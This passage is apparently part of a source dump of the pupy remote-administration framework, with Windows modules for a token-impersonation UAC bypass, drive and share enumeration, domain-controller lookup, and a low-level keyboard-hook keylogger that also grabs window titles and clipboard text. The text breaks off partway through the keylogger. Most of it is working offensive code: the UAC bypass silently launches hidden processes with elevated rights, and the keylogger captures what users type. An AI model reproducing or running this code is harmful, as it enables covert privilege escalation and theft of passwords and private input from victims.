TOKEN_ADJUST_GROUPS             = 0x0040
TOKEN_ADJUST_DEFAULT            = 0x0080
TOKEN_ADJUST_SESSIONID          = 0x0100
TOKEN_READ                      = (STANDARD_RIGHTS_READ | TOKEN_QUERY)
tokenprivs                      = (
    TOKEN_QUERY | TOKEN_READ | TOKEN_IMPERSONATE | TOKEN_QUERY_SOURCE | \
    TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | (131072 | 4))
TOKEN_ALL_ACCESS                = (
    STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY | \
    TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE | \
    TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT | \
    TOKEN_ADJUST_SESSIONID)

class UNICODE_STRING(Structure):
    _fields_ = [
        ('Length',          USHORT),
        ('MaximumLength',   USHORT),
        ('Buffer',          PWSTR),
    ]
PUNICODE_STRING = POINTER(UNICODE_STRING)

class ShellExecuteInfo(Structure):
    _fields_ = [
        ('cbSize',          DWORD),
        ('fMask',           c_ulong),
        ('hwnd',            HWND),
        ('lpVerb',          c_char_p),
        ('lpFile',          c_char_p),
        ('lpParameters',    c_char_p),
        ('lpDirectory',     c_char_p),
        ('nShow',           c_int),
        ('hInstApp',        HINSTANCE),
        ('lpIDList',        c_void_p),
        ('lpClass',         c_char_p),
        ('hKeyClass',       HKEY),
        ('dwHotKey',        DWORD),
        ('hIcon',           HANDLE),
        ('hProcess',        HANDLE)
    ]
PShellExecuteInfo = POINTER(ShellExecuteInfo)

class SID_IDENTIFIER_AUTHORITY(Structure):
    _fields_ = [
        ("byte0", c_byte),
        ("byte1", c_byte),
        ("byte2", c_byte),
        ("byte3", c_byte),
        ("byte4", c_byte),
        ("byte5", c_byte),
    ]
PSID_IDENTIFIER_AUTHORITY = POINTER(SID_IDENTIFIER_AUTHORITY)


class SID_AND_ATTRIBUTES(Structure):
    _fields_ = [
        ('Sid',         LPVOID),
        ('Attributes',  DWORD),
    ]

class TOKEN_MANDATORY_LABEL(Structure):
    _fields_ = [
        ('Label', SID_AND_ATTRIBUTES),
    ]
PTOKEN_MANDATORY_LABEL = POINTER(TOKEN_MANDATORY_LABEL)

class SECURITY_QUALITY_OF_SERVICE(Structure):
    _fields_ = [
        ("Length",              DWORD),
        ("ImpersonationLevel",  DWORD),
        ("ContextTrackingMode", DWORD),
        ("EffectiveOnly",       BOOL)
]
PSECURITY_QUALITY_OF_SERVICE = POINTER(SECURITY_QUALITY_OF_SERVICE)

class OBJECT_ATTRIBUTES(Structure):
    _fields_ = [
        ("Length",                      ULONG),
        ("RootDirectory",               HANDLE),
        ("ObjectName",                  PUNICODE_STRING),
        ("Attributes",                  ULONG),
        ("SecurityDescriptor",          PVOID),
        ("SecurityQualityOfService",    PVOID)
]
POBJECT_ATTRIBUTES = POINTER(OBJECT_ATTRIBUTES)


class STARTUPINFO(Structure):
    _fields_ = [
        ('cb',              DWORD),
        ('lpReserved',      LPSTR),
        ('lpDesktop',       LPSTR),
        ('lpTitle',         LPSTR),
        ('dwX',             DWORD),
        ('dwY',             DWORD),
        ('dwXSize',         DWORD),
        ('dwYSize',         DWORD),
        ('dwXCountChars',   DWORD),
        ('dwYCountChars',   DWORD),
        ('dwFillAttribute', DWORD),
        ('dwFlags',         DWORD),
        ('wShowWindow',     WORD),
        ('cbReserved2',     WORD),
        ('lpReserved2',     LPVOID),    # LPBYTE
        ('hStdInput',       HANDLE),
        ('hStdOutput',      HANDLE),
        ('hStdError',       HANDLE),
    ]
PSTARTUPINFO = POINTER(STARTUPINFO)

class PROCESS_INFORMATION(Structure):
    _fields_ = [
        ('hProcess',    HANDLE),
        ('hThread',     HANDLE),
        ('dwProcessId', DWORD),
        ('dwThreadId',  DWORD),
    ]
PPROCESS_INFORMATION = POINTER(PROCESS_INFORMATION)

# shell32

ShellExecuteEx                          = windll.shell32.ShellExecuteExA
ShellExecuteEx.argtypes                 = (PShellExecuteInfo, )
ShellExecuteEx.restype                  = BOOL

# advapi

OpenProcessToken                        = windll.advapi32.OpenProcessToken
OpenProcessToken.argtypes               = (HANDLE, DWORD, POINTER(HANDLE))
OpenProcessToken.restype                = BOOL

DuplicateTokenEx                        = windll.advapi32.DuplicateTokenEx
DuplicateTokenEx.restype                = BOOL
DuplicateTokenEx.argtypes               = [HANDLE, DWORD, POBJECT_ATTRIBUTES, DWORD, DWORD, POINTER(HANDLE)]

CreateProcessWithLogonW                 = windll.advapi32.CreateProcessWithLogonW
CreateProcessWithLogonW.restype         = BOOL
CreateProcessWithLogonW.argtypes        = [LPCWSTR, LPCWSTR, LPCWSTR, DWORD, LPCWSTR, LPWSTR, DWORD, LPVOID, LPCWSTR, PSTARTUPINFO, PPROCESS_INFORMATION]

SetTokenInformation                     = windll.advapi32.SetTokenInformation
SetTokenInformation.restype             = BOOL
SetTokenInformation.argtypes            = [HANDLE, DWORD, PTOKEN_MANDATORY_LABEL, DWORD]

# kernel32

GetCurrentThread                        = windll.kernel32.GetCurrentThread
GetCurrentThread.restype                = HANDLE
GetCurrentThread.argtypes               = []

GetStartupInfo                          = windll.kernel32.GetStartupInfoW
GetStartupInfo.restype                  = PVOID
GetStartupInfo.argtypes                 = [PSTARTUPINFO]

CloseHandle                             = windll.kernel32.CloseHandle
CloseHandle.restype                     = BOOL
CloseHandle.argtypes                    = [HANDLE]

# ntdll

RtlAllocateAndInitializeSid             = windll.ntdll.RtlAllocateAndInitializeSid
RtlAllocateAndInitializeSid.restype     = BOOL
RtlAllocateAndInitializeSid.argtypes    = [PSID_IDENTIFIER_AUTHORITY, DWORD, DWORD, DWORD, DWORD, DWORD, DWORD, DWORD, DWORD, DWORD, POINTER(PSID)]

NtOpenProcessToken                      = windll.ntdll.NtOpenProcessToken
NtOpenProcessToken.restype              = BOOL
NtOpenProcessToken.argtypes             = [HANDLE, DWORD, POINTER(HANDLE)]

NtSetInformationToken                   = windll.ntdll.NtSetInformationToken
NtSetInformationToken.restype           = BOOL
NtSetInformationToken.argtypes          = [HANDLE, DWORD, PTOKEN_MANDATORY_LABEL, DWORD]

RtlLengthSid                            = windll.ntdll.RtlLengthSid
RtlLengthSid.restype                    = DWORD
RtlLengthSid.argtypes                   = [PSID]

NtFilterToken                           = windll.ntdll.NtFilterToken
NtFilterToken.restype                   = BOOL
NtFilterToken.argtypes                  = [HANDLE, DWORD, PVOID, PVOID, PVOID, POINTER(HANDLE)]

NtDuplicateToken                        = windll.ntdll.NtDuplicateToken
NtDuplicateToken.restype                = BOOL
NtDuplicateToken.argtypes               = [HANDLE, DWORD, POBJECT_ATTRIBUTES, BOOL, DWORD, POINTER(HANDLE)]

NtSetInformationThread                  = windll.ntdll.NtSetInformationThread
NtSetInformationThread.restype          = BOOL
NtSetInformationThread.argtypes         = [HANDLE, DWORD, POINTER(HANDLE), DWORD]

NtClose                                 = windll.ntdll.NtClose
NtClose.restype                         = BOOL
NtClose.argtypes                        = [HANDLE]

NtTerminateProcess                      = windll.ntdll.NtTerminateProcess
NtTerminateProcess.restype              = BOOL
NtTerminateProcess.argtypes             = [HANDLE, DWORD]

RtlFreeSid                              = windll.ntdll.RtlFreeSid
RtlFreeSid.restype                      = PVOID
RtlFreeSid.argtypes                     = [PSID]

def NT_SUCCESS(status):
    return status >= 0

############# main #############

def find_exe_to_use():
    while True:
        method = randint(0, len(AUTOELEVATED_EXE) -1)
        if os.path.exists(AUTOELEVATED_EXE[method]):
            return AUTOELEVATED_EXE[method]
        else:
            del AUTOELEVATED_EXE[method]

        # no auto elevated executable found
        if not AUTOELEVATED_EXE:
            return []

def bypass_uac(autoelevated_exe, lpApplicationName, param):

    ###### Run autoelevated app (any) ######
    shinfo          = ShellExecuteInfo()
    shinfo.cbSize   = sizeof(shinfo)
    shinfo.fMask    = SEE_MASK_NOCLOSEPROCESS
    shinfo.lpFile   = autoelevated_exe
    shinfo.nShow    = SW_HIDE

    if not ShellExecuteEx(byref(shinfo)):
        raise WinError()

    ###### Open token of elevated process. ######

    hProcessToken = HANDLE(INVALID_HANDLE_VALUE)
    if not NT_SUCCESS(NtOpenProcessToken(shinfo.hProcess, MAXIMUM_ALLOWED, byref(hProcessToken))):
        raise WinError()

    ###### Duplicate primary token ######

    sqos                        = SECURITY_QUALITY_OF_SERVICE()
    sqos.Length                 = sizeof(SECURITY_QUALITY_OF_SERVICE)
    sqos.ImpersonationLevel     = SecurityImpersonation
    sqos.ContextTrackingMode    = 0
    sqos.EffectiveOnly          = False

    obja                        = OBJECT_ATTRIBUTES()
    obja.Length                 = sizeof(OBJECT_ATTRIBUTES)
    obja.ObjectName             = None
    obja.Attributes             = 0
    obja.RootDirectory          = None
    obja.SecurityDescriptor     = None
    obja.SecurityQualityOfService = addressof(sqos)

    hTokendupe = HANDLE(INVALID_HANDLE_VALUE)
    if not NT_SUCCESS(DuplicateTokenEx(hProcessToken, TOKEN_ALL_ACCESS, byref(obja), False, TokenPrimary, byref(hTokendupe))):
        raise WinError()

    ###### Lower duplicated token IL from High to Medium. ######

    mlAuthority = SID_IDENTIFIER_AUTHORITY()

    # SECURITY_MANDATORY_LABEL_AUTHORITY
    mlAuthority.byte0 = 0x00
    mlAuthority.byte1 = 0x00
    mlAuthority.byte2 = 0x00
    mlAuthority.byte3 = 0x00
    mlAuthority.byte4 = 0x00
    mlAuthority.byte5 = 0x10

    pIntegritySid = PSID()
    if not NT_SUCCESS(RtlAllocateAndInitializeSid(
            byref(mlAuthority),
            1, SECURITY_MANDATORY_MEDIUM_RID,
            0, 0, 0, 0, 0, 0, 0,
            byref(pIntegritySid))):
        raise WinError()

    tml = TOKEN_MANDATORY_LABEL()
    tml.Label.Attributes = SE_GROUP_INTEGRITY
    tml.Label.Sid = pIntegritySid
    if not NT_SUCCESS(NtSetInformationToken(hTokendupe, TokenIntegrityLevel, byref(tml), sizeof(TOKEN_MANDATORY_LABEL) + RtlLengthSid(pIntegritySid))):
        raise WinError()

    ###### Create restricted token. ######

    hLuaToken = HANDLE(INVALID_HANDLE_VALUE)
    if not NT_SUCCESS(NtFilterToken(hTokendupe, LUA_TOKEN, None, None, None, byref(hLuaToken))):
        raise WinError()

    ###### Impersonate logged on user. ######

    hImpToken = HANDLE(INVALID_HANDLE_VALUE)
    if not NT_SUCCESS(DuplicateTokenEx(hLuaToken, TOKEN_IMPERSONATE | TOKEN_QUERY, byref(obja), 2, TokenImpersonation, byref(hImpToken))):
        raise WinError()

    if not NT_SUCCESS(NtSetInformationThread(GetCurrentThread(), ThreadImpersonationToken, byref(hImpToken), sizeof(HANDLE))):
        raise WinError()

    NtClose(hImpToken)
    hImpToken = None

    ###### Run target ######

    pi = PROCESS_INFORMATION()
    si = STARTUPINFO()

    si.cb = sizeof(si)
    GetStartupInfo(byref(si))

    si.dwFlags = STARTF_USESHOWWINDOW
    # si.wShowWindow = SW_SHOW
    si.wShowWindow = SW_HIDE

    bResult = CreateProcessWithLogonW(
                u"uac",
                u"is",
                u"useless",
                LOGON_NETCREDENTIALS_ONLY,
                lpApplicationName,
                param,
                0,
                None,
                None,
                byref(si),
                byref(pi)
            )

    if bResult:
        if pi.hThread:
            CloseHandle(pi.hThread)

        if pi.hProcess:
            CloseHandle(pi.hProcess)

    ######  Revert to self ######

    hImpToken = HANDLE(INVALID_HANDLE_VALUE)
    # should be fixed, the error code return is not correct but does not affect the result so let's continue
    NtSetInformationThread(GetCurrentThread(), ThreadImpersonationToken, byref(hImpToken), sizeof(HANDLE))

    if hImpToken:
        NtClose(hImpToken)

    if hProcessToken:
        NtClose(hProcessToken)

    if hTokendupe:
        NtClose(hTokendupe)

    if hLuaToken:
        NtClose(hLuaToken)

    if shinfo.hProcess:
        NtTerminateProcess(shinfo.hProcess, STATUS_SUCCESS)
        NtClose(shinfo.hProcess)

    if pIntegritySid:
        RtlFreeSid(pIntegritySid)

    return True


def run_bypass_uac_using_token_impersonation(cmd, param):

    exe = find_exe_to_use()
    if not exe:
        return False
    else:
        return bypass_uac(exe, cmd, param)


================================================
FILE: pupy/packages/windows/all/pupwinutils/drives.py
================================================
# -*- encoding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
import wql

def sizeof_fmt(num, suffix='B'):
    try:
        num = int(num)
        for unit in ['','Ki','Mi','Gi','Ti','Pi','Ei','Zi']:
            if abs(num) < 1024.0:
                return "%3.1f %s%s" % (num, unit, suffix)
            num /= 1024.0
        return "%.1f %s%s" % (num, 'Yi', suffix)
    except:
        return '0.00 B'

# Drive types explaination
# 0 => The drive type cannot be determined.
# 1 => The root path is invalid; for example, there is no volume mounted at the specified path.
# 2 => The drive has removable media; for example, a floppy drive, thumb drive, or flash card reader.
# 3 => The drive has fixed media; for example, a hard disk drive or flash drive.
# 4 => The drive is a remote (network) drive.
# 5 => The drive is a CD-ROM drive.
# 6 => The drive is a RAM disk.

DRIVE_TYPES = (
    'unknown',
    'no_root',
    'removable',
    'fixed',
    'remote',
    'cdrom',
    'ramdisk'
)

WQL_DRIVES_QUERY = 'SELECT Name,DriveType,Size,FreeSpace,ProviderName FROM Win32_LogicalDisk'
WQL_SHARES_QUERY = 'SELECT * FROM Win32_Share Where Type=0'

def list_drives():
    output = []

    for disk in wql.execute(WQL_DRIVES_QUERY):
        unc_path = ''
        if disk.ProviderName:
            unc_path = disk.ProviderName

        name = disk.Name + '\\'
        driveType = DRIVE_TYPES[int(disk.DriveType)]
        size = sizeof_fmt(disk.Size)
        free = sizeof_fmt(disk.FreeSpace)

        output.append((
            name, driveType, size, free, unc_path
        ))

    return tuple(output)

def shared_folders():
    shared = wql.execute(WQL_SHARES_QUERY)
    if not shared:
        return ''

    return tuple(
        (item.Name, item.Path) for item in shared
    )


================================================
FILE: pupy/packages/windows/all/pupwinutils/getdomain.py
================================================
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from _winreg import (
    ConnectRegistry, HKEY_LOCAL_MACHINE,
    OpenKey, QueryValueEx, CloseKey
)

def get_domain_controller():

    aReg = ConnectRegistry(None, HKEY_LOCAL_MACHINE)
    keypath = r"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History\\"
    subkey_name = 'DCName'
    try:
        aKey = OpenKey(aReg, keypath)
        val, _ = QueryValueEx(aKey, subkey_name)
        CloseKey(aKey)
        return val
    except:
        return False


================================================
FILE: pupy/packages/windows/all/pupwinutils/hookfuncs.py
================================================
# -*- encoding: utf-8 -*-

# Place to store various bindings, wrappers, etc
# Reason: to avoid duplication of prototypes

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from ctypes import (
    byref, WinDLL, WinError, sizeof, pointer,
    c_int, c_ulong, c_void_p, c_wchar_p, c_uint,
    CFUNCTYPE, cast,
    c_void_p as LPRECT,
    c_void_p as PSID,
    create_string_buffer,
    create_unicode_buffer,
    Structure,
    POINTER,
    WINFUNCTYPE
)

from ctypes.wintypes import (
    BOOL, DOUBLE, DWORD, HBITMAP, HINSTANCE, HDC, HGDIOBJ, HANDLE,
    HWND, INT, LPARAM, LONG, RECT, UINT, WORD, HMODULE, HHOOK, POINT,
    LPCWSTR, WPARAM, LPVOID, LPSTR, LPWSTR, BYTE, WCHAR, SHORT,
    WPARAM as ULONG_PTR,
    LPARAM as LRESULT,
)

class MSG(Structure):
    _fields_ = [
        ("hWnd", HWND),
        ("message", c_uint),
        ("wParam", WPARAM),
        ("lParam", LPARAM),
        ("time", DWORD),
        ("pt", POINT),
        ("private", DWORD)
    ]


# consts
WH_MOUSE_LL   = 14
WM_MOUSEFIRST = 0x0200

SM_XVIRTUALSCREEN  = 76
SM_YVIRTUALSCREEN  = 77
SM_CXVIRTUALSCREEN = 78
SM_CYVIRTUALSCREEN = 79
SRCCOPY            = 0xCC0020  # Code de copie pour la fonction BitBlt()##
DIB_RGB_COLORS     = 0

WM_KEYDOWN      = 0x0100
WM_KEYUP        = 0x0101
WM_SYSKEYDOWN   = 0x0104
WM_SYSKEYUP     = 0x0105
WH_KEYBOARD_LL  = 13
VK_CAPITAL      = 0x14 # CAPITAL key
VK_SHIFT        = 0x10 # SHIFT key
VK_LSHIFT       = 0xA0 # LSHIFT key
VK_RSHIFT       = 0xA1 # RSHIFT key
VK_CONTROL      = 0x11 # CTRL key
VK_LCONTROL     = 0xA2 # LCTRL key
VK_RCONTROL     = 0xA3 # RCTRL key
VK_MENU         = 0x12 # ALT key
VK_LMENU        = 0xA4 # ALT key
VK_RMENU        = 0xA5 # ALT+GR key
VK_RETURN       = 0x0D # ENTER key
VK_ESCAPE       = 0x1B
VK_LWIN         = 0x5B
VK_RWIN         = 0x5C

# typedefs
LPMSG     = POINTER(MSG)

def LOWORD(x):
    return x & 0xffff

# trampolines
HOOKPROC = WINFUNCTYPE(LRESULT, c_int, WPARAM, LPARAM)
LOWLEVELKEYBOARDPROC = CFUNCTYPE(LRESULT, c_int, WPARAM, LPARAM)
MONITORENUMPROC = WINFUNCTYPE(INT, DWORD, DWORD,
                              POINTER(RECT), DOUBLE)
# structures

class KBDLLHOOKSTRUCT(Structure):
    _fields_ = [
        ('vkCode',      DWORD),
        ('scanCode',    DWORD),
        ('flags',       DWORD),
        ('time',        DWORD),
        ('dwExtraInfo', ULONG_PTR)
    ]

class BITMAPINFOHEADER(Structure):
    _fields_ = [
        ('biSize',          DWORD),
        ('biWidth',         LONG),
        ('biHeight',        LONG),
        ('biPlanes',        WORD),
        ('biBitCount',      WORD),
        ('biCompression',   DWORD),
        ('biSizeImage',     DWORD),
        ('biXPelsPerMeter', LONG),
        ('biYPelsPerMeter', LONG),
        ('biClrUsed',       DWORD),
        ('biClrImportant',  DWORD)
    ]

class BITMAPINFO(Structure):
    _fields_ = [
        ('bmiHeader', BITMAPINFOHEADER),
        ('bmiColors', DWORD * 3)
    ]

class POINT(Structure):
    _fields_ = [("x", c_ulong), ("y", c_ulong)]


# libs
user32   = WinDLL('user32')
kernel32 = WinDLL('kernel32')
gdi32    = WinDLL('gdi32')
psapi    = WinDLL('psapi')

# prototypes
GetForegroundWindow = user32.GetForegroundWindow
GetForegroundWindow.restype = HWND
GetForegroundWindow.argtypes = []

GetCurrentProcess          = kernel32.GetCurrentProcess
GetCurrentProcess.restype  = HANDLE
GetCurrentProcess.argtypes = []

GetCurrentProcessId          = kernel32.GetCurrentProcessId
GetCurrentProcessId.restype  = DWORD
GetCurrentProcessId.argtypes = []

OpenProcess          = kernel32.OpenProcess
OpenProcess.restype  = HANDLE
OpenProcess.argtypes = [DWORD, BOOL, DWORD]

LocalAlloc          = kernel32.LocalAlloc
LocalAlloc.restype  = HANDLE
LocalAlloc.argtypes = [PSID, DWORD]

LocalFree           = kernel32.LocalFree
LocalFree.restype   = HANDLE
LocalFree.argtypes  = [HANDLE]

GetModuleBaseNameW = psapi.GetModuleBaseNameW
GetModuleBaseNameW.restype = DWORD
GetModuleBaseNameW.argtypes = [HWND, HMODULE, c_void_p, DWORD]

GetModuleHandleW = kernel32.GetModuleHandleW
GetModuleHandleW.restype = HMODULE
GetModuleHandleW.argtypes = [LPCWSTR]

GetWindowThreadProcessId = user32.GetWindowThreadProcessId
GetWindowThreadProcessId.restype = DWORD
GetWindowThreadProcessId.argtypes = (HWND, POINTER(DWORD))

SetTimer            = user32.SetTimer
SetTimer.restype    = ULONG_PTR
SetTimer.argtypes   = (HWND, ULONG_PTR, UINT, c_void_p)

KillTimer           = user32.KillTimer
KillTimer.restype   = BOOL
KillTimer.argtypes  = (HWND, ULONG_PTR)

SetWindowsHookEx = user32.SetWindowsHookExW
SetWindowsHookEx.argtypes = (c_int, HOOKPROC, HINSTANCE, DWORD)
SetWindowsHookEx.restype = HHOOK

UnhookWindowsHookEx = user32.UnhookWindowsHookEx
UnhookWindowsHookEx.restype = BOOL
UnhookWindowsHookEx.argtypes = [HHOOK]

CallNextHookEx = user32.CallNextHookEx
CallNextHookEx.restype = LRESULT
CallNextHookEx.argtypes = (
    HHOOK,  # _In_opt_ hhk
    c_int,  # _In_     nCode
    WPARAM, # _In_     wParam
    LPARAM) # _In_     lParam

GetMessageW = user32.GetMessageW
GetMessageW.argtypes = (
    LPMSG, # _Out_    lpMsg
    HWND,  # _In_opt_ hWnd
    UINT,  # _In_     wMsgFilterMin
    UINT)  # _In_     wMsgFilterMax

CloseHandle = kernel32.CloseHandle
CloseHandle.argtypes = [HWND]

GetKeyboardState  = user32.GetKeyboardState
GetKeyboardLayout = user32.GetKeyboardLayout
ToUnicodeEx       = user32.ToUnicodeEx
ToAsciiEx         = user32.ToAsciiEx

GetKeyState          = user32.GetKeyState
GetKeyState.restype  = SHORT
GetKeyState.argtypes = [INT]

OpenClipboard     = user32.OpenClipboard
CloseClipboard    = user32.CloseClipboard
GetClipboardData  = user32.GetClipboardData
GetCursorPos      = user32.GetCursorPos

GetSystemMetrics  = user32.GetSystemMetrics
GetSystemMetrics.argtypes = [INT]
GetSystemMetrics.restypes = INT

EnumDisplayMonitors = user32.EnumDisplayMonitors
EnumDisplayMonitors.argtypes = [HDC, LPRECT, MONITORENUMPROC, LPARAM]
EnumDisplayMonitors.restypes = BOOL

GetWindowDC = user32.GetWindowDC
GetWindowDC.argtypes = [HWND]
GetWindowDC.restypes = HDC

GetWindowText = user32.GetWindowTextW
GetWindowText.argtypes = (HWND, LPWSTR, INT)
GetWindowText.restype = c_int

CreateCompatibleDC = gdi32.CreateCompatibleDC
CreateCompatibleDC.argtypes = [HDC]
CreateCompatibleDC.restypes = HDC

CreateCompatibleBitmap = gdi32.CreateCompatibleBitmap
CreateCompatibleBitmap.argtypes = [HDC, INT, INT]
CreateCompatibleBitmap.restypes = HBITMAP

SelectObject = gdi32.SelectObject
SelectObject.argtypes = [HDC, HGDIOBJ]
SelectObject.restypes = HGDIOBJ

BitBlt = gdi32.BitBlt
BitBlt.argtypes = [HDC, INT, INT, INT, INT, HDC, INT, INT, DWORD]
BitBlt.restypes = BOOL

GetDIBits = gdi32.GetDIBits
GetDIBits.restypes = INT
GetDIBits.argtypes = [HDC, HBITMAP, UINT, UINT, LPVOID,
    POINTER(BITMAPINFO), UINT]

DeleteObject = gdi32.DeleteObject
DeleteObject.argtypes = [HGDIOBJ]
DeleteObject.restypes = BOOL

# wrappers

#credit: Black Hat Python - https://www.nostarch.com/blackhatpython
def get_current_process():
    hwnd = GetForegroundWindow()

    pid = c_ulong(0)
    GetWindowThreadProcessId(hwnd, byref(pid))

    executable = create_unicode_buffer('\x00', 512)
    h_process = OpenProcess(0x400 | 0x10, False, pid)
    GetModuleBaseNameW(h_process, None, byref(executable), 512)

    window_title = create_unicode_buffer('\x00', 512)

    lpBuffer = cast(byref(window_title), LPWSTR)
    GetWindowText(hwnd, lpBuffer, 512)

    CloseHandle(hwnd)
    CloseHandle(h_process)

    return executable.value, window_title.value

## http://nullege.com/codes/show/src%40t%40h%40thbattle-HEAD%40src%40utils%40pyperclip.py/48/ctypes.windll.user32.OpenClipboard/python
def get_clipboard():
    OpenClipboard(0)
    pcontents = GetClipboardData(13) # CF_UNICODETEXT
    data = c_wchar_p(pcontents).value
    CloseClipboard()
    return data

def get_mouse_xy():
    pt = POINT()
    GetCursorPos(byref(pt))
    return pt.x, pt.y


================================================
FILE: pupy/packages/windows/all/pupwinutils/keylogger.py
================================================
# --------------------------------------------------------------
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or
# without modification, are permitted provided that the following
# conditions are met:
#
# 1. Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
#
# 2. Redistributions in binary form must reproduce the above
# copyright notice, this list of conditions and the following
# disclaimer in the documentation and/or other materials provided
# with the distribution.
#
# 3. Neither the name of the copyright holder nor the names of its
# contributors may be used to endorse or promote products derived
# from this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND
# CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES,
# INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
# MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR
# CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
# NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
# HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
# OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
# EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
# --------------------------------------------------------------

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import pupy.agent
import sys

import datetime
import string

from .hookfuncs import (
    GetKeyState, HOOKPROC, SetTimer, MSG, byref,
    GetMessageW, KillTimer, GetModuleHandleW, SetWindowsHookEx,
    WH_KEYBOARD_LL, WinError, UnhookWindowsHookEx,
    CallNextHookEx, LOWORD, WM_KEYUP, WM_SYSKEYUP,
    BYTE, WCHAR, KBDLLHOOKSTRUCT, DWORD, GetWindowThreadProcessId,
    GetForegroundWindow, GetKeyboardLayout, GetKeyboardState,
    VK_MENU, VK_CONTROL, VK_LWIN, VK_RWIN, VK_SHIFT, VK_LSHIFT, VK_RMENU,
    ToUnicodeEx, ToAsciiEx, get_current_process, get_clipboard
)

from pupy.network.lib.convcompat import as_unicode_string

if sys.version_info.major > 2:
    unicode = str

UNPRINTABLE = {
    0x09: 'TAB',
    0x0D: 'RET',
    0x1B: 'ESC',
    0x08: 'BKSC',
    0x21: 'PGUP',
    0x22: 'PGDN',
    0x23: 'END',
    0x24: 'HOME',
    0x25: 'LFT',
    0x26: 'UP',
    0x27: 'RGHT',
    0x28: 'DWN',
    0x2D: 'INS',
    0x2E: 'DEL',
    0x5B: 'LWIN',
    0x5C: 'RWIN',
    0x5D: 'APPS',
    0x70: 'F1',
    0x71: 'F2',
    0x72: 'F3',
    0x73: 'F4',
    0x74: 'F5',
    0x75: 'F6',
    0x76: 'F7',
    0x77: 'F8',
    0x78: 'F9',
    0x79: 'F10',
    0x7A: 'F11',
    0x7B: 'F12'
}


def keylogger_start(event_id=None):
    if pupy.agent.manager.active(KeyLogger):
        return False

    try:
        pupy.agent.manager.create(KeyLogger, event_id=event_id)
    except:
        return False

    return True


def keylogger_dump():
    keylogger = pupy.agent.manager.get(KeyLogger)
    if keylogger:
        return keylogger.results


def keylogger_stop():
    keylogger = pupy.agent.manager.get(KeyLogger)
    if keylogger:
        pupy.agent.manager.stop(KeyLogger)
        return keylogger.results


def is_pressed(*keys):
    return any(
        GetKeyState(x) & 0x8000 for x in keys
    )


class KeyLogger(pupy.Task):
    results_type = unicode

    def __init__(self, *args, **kwargs):
        super(KeyLogger, self).__init__(*args, **kwargs)
        self.hooked = None
        self.last_windows = None
        self.last_clipboard = ''
        self.hook_proc_ptr = HOOKPROC(self.hook_proc)

    def append(self, data):
        super(KeyLogger, self).append(
            as_unicode_string(data)
        )

    def task(self):
        if self.hooked:
            raise ValueError('Task already active')

        try:
            self.install_hook()
        except:
            self.stop()
            return

        timer = None

        try:
            timer = SetTimer(0, 0, 1000, 0)

            msg = MSG()
            msgptr = byref(msg)

            while self.active:
                try:
                    GetMessageW(msgptr, None, 0, 0)
                except Exception as e:
                    raise ValueError(
                        'Shit: {} / {} / {} / {}'.format(
                            msg, msgptr, GetMessageW, e
                        )
                    )

        finally:
            if timer:
                KillTimer(0, timer)

            self.uninstall_hook()

    def install_hook(self):
        if self.hooked:
            raise ValueError('Task already active')

        modhwd = GetModuleHandleW(None)

        self.hooked = SetWindowsHookEx(
            WH_KEYBOARD_LL, self.hook_proc_ptr, modhwd, 0
        )

        if not self.hooked:
            raise WinError()

    def uninstall_hook(self):
        if self.hooked is None:
            return

        try:
            if not UnhookWindowsHookEx(self.hooked):
                raise WinError()

        finally:
            self.hooked = None

    def hook_proc(self, nCode, wParam, lParam):
        try:
            self._hook_proc(nCode, wParam, lParam)
        except:
            import traceback
            traceback.print_exc()
            raise

        finally:
            return CallNextHookEx(self.hooked, nCode, wParam, lParam)

    def _hook_proc(self, nCode, wParam, lParam):
        # The keylogger callback
        if LOWORD(wParam) not in (WM_KEYUP, WM_SYSKEYUP):
            return

        keyState = (BYTE * 256)()
        buff = (WCHAR * 256)()
        kbdllhookstruct = KBDLLHOOKSTRUCT.from_address(lParam)

        key = ''
        modifiers = []

        pid = DWORD()
        tid = GetWindowThreadProcessId(GetForegroundWindow(), byref(pid))
        hKl = GetKeyboardLayout(tid)

        if not GetKeyboardState(byref(keyState)):
            return

        if is_pressed(VK_MENU):
            keyState[VK_MENU] = 0x80
            modifiers.append('ALT')

        if is_pressed(VK_CONTROL):
            keyState[VK_MENU] = 0x80
            modifiers.append('CTRL')

        if is_pressed(VK_LWIN, VK_RWIN):
            modifiers.append('WIN')

        if is_pressed(VK_SHIFT):
            keyState[VK_SHIFT] = 0x80
            if modifiers:
                modifiers.append('SHIFT')

        if kbdllhookstruct.vkCode in UNPRINTABLE:
            if not (kbdllhookstruct.vkCode in (
                    VK_LWIN, VK_RWIN) and 'WIN' in modifiers):
                key = UNPRINTABLE[kbdllhookstruct.vkCode]
                if not modifiers:
                    key = '[' + key + ']'

